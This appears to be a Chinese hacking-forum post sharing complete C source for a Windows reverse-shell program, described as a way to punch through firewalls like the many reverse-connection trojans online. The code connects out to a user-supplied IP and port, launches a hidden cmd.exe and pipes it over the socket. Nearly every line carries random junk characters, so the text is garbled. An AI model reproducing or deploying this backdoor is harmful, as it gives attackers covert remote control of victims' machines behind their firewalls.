这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :"0J=>PH:
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/* ============================== ^0W(hA
Rebound port in Windows NT 52zGJ I*
By wind,2006/7 zm9TvoC%}
===============================*/ CBf7]n0H
#include CLKov\U\
#include CGw--`#\
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#pragma comment(lib,"wsock32.lib") 6) \dBOz
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void OutputShell(); "HM{b?N
SOCKET sClient; OEr:xK2T
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h06ku2Q
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void main(int argc,char **argv) 8|twV35
{ xa( m5P
WSADATA stWsaData; 2}}?'PwwT
int nRet; Ja]oGT=e
SOCKADDR_IN stSaiClient,stSaiServer; ?(KvQK|d4
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if(argc != 3) 9+Y D!y
{ 5H,G-
printf("Useage:\n\rRebound DestIP DestPort\n"); M
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return; >zY \Llv
} F)$K
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5TBI<K
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D 7shiv|,
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stSaiClient.sin_family = AF_INET; r0m)j
stSaiClient.sin_port = htons(0); 5CJZw3q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p@&R0>6j
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2^exL h
{ &A!KJ.
printf("Bind Socket Failed!\n"); Y ?]G}5
return; F>|9 52
} {F*N=pSq
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stSaiServer.sin_family = AF_INET; rqCa 2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wCZO9sU:6=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); QL"gWr`R
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d&:H&o)T!
{ >Pe:I
printf("Connect Error!"); P#GD?FUc
return; AZFWuPJo
} |U[y_Y\a
OutputShell(); #_Ea[q7v
} ^o<:;{
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void OutputShell() FyD.>ot7M
{ PB~_I=
char szBuff[1024]; &yH#s
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SECURITY_ATTRIBUTES stSecurityAttributes; nR5bs;gk"
OSVERSIONINFO stOsversionInfo; ]>:^d%n,}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;np_%?is
STARTUPINFO stStartupInfo; i8V0Ty4~N
char *szShell; 1q~LA[6
PROCESS_INFORMATION stProcessInformation; V*B0lI7`B
unsigned long lBytesRead; 4".J/I5u
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 24@^{
}
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ph7pd
stSecurityAttributes.lpSecurityDescriptor = 0; KS!yT_O
stSecurityAttributes.bInheritHandle = TRUE; ui.'^F<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O OlTrLL
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +!&$SNLh(
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M1=_^f=&.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V> a*3D
stStartupInfo.wShowWindow = SW_HIDE; 5]"BRn1*
stStartupInfo.hStdInput = hReadPipe; XK 3]AYH
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <A~GW
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GetVersionEx(&stOsversionInfo); ,zgNE*{Y"4
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switch(stOsversionInfo.dwPlatformId) =Q?f96T
{ ;bHfn-X
case 1: oXc/#{NC
szShell = "command.com"; j8HOc(
break; ?M&4pO&Y
default: nlfPg-78B+
szShell = "cmd.exe"; yuNfhK/#r
break; 0M!0JJy#*
} Jirct,k
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &G{2s J5{
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send(sClient,szMsg,77,0); ^tE_LL+ji|
while(1) Z H-5Qy_
{ :::>ro*R
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5-p.MGso
if(lBytesRead) CX+9R3pa
{ g3rRhS
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7z<Cu<
send(sClient,szBuff,lBytesRead,0); QFzFL-H~N
} Yn1?#%%
else VN|G5*
{ xURw,
lBytesRead=recv(sClient,szBuff,1024,0); }'`xu9<
if(lBytesRead<=0) break; :HZ;Po
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1pCkWe
} 7zI5PGWw
} V<-htV
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return; p37|zX
}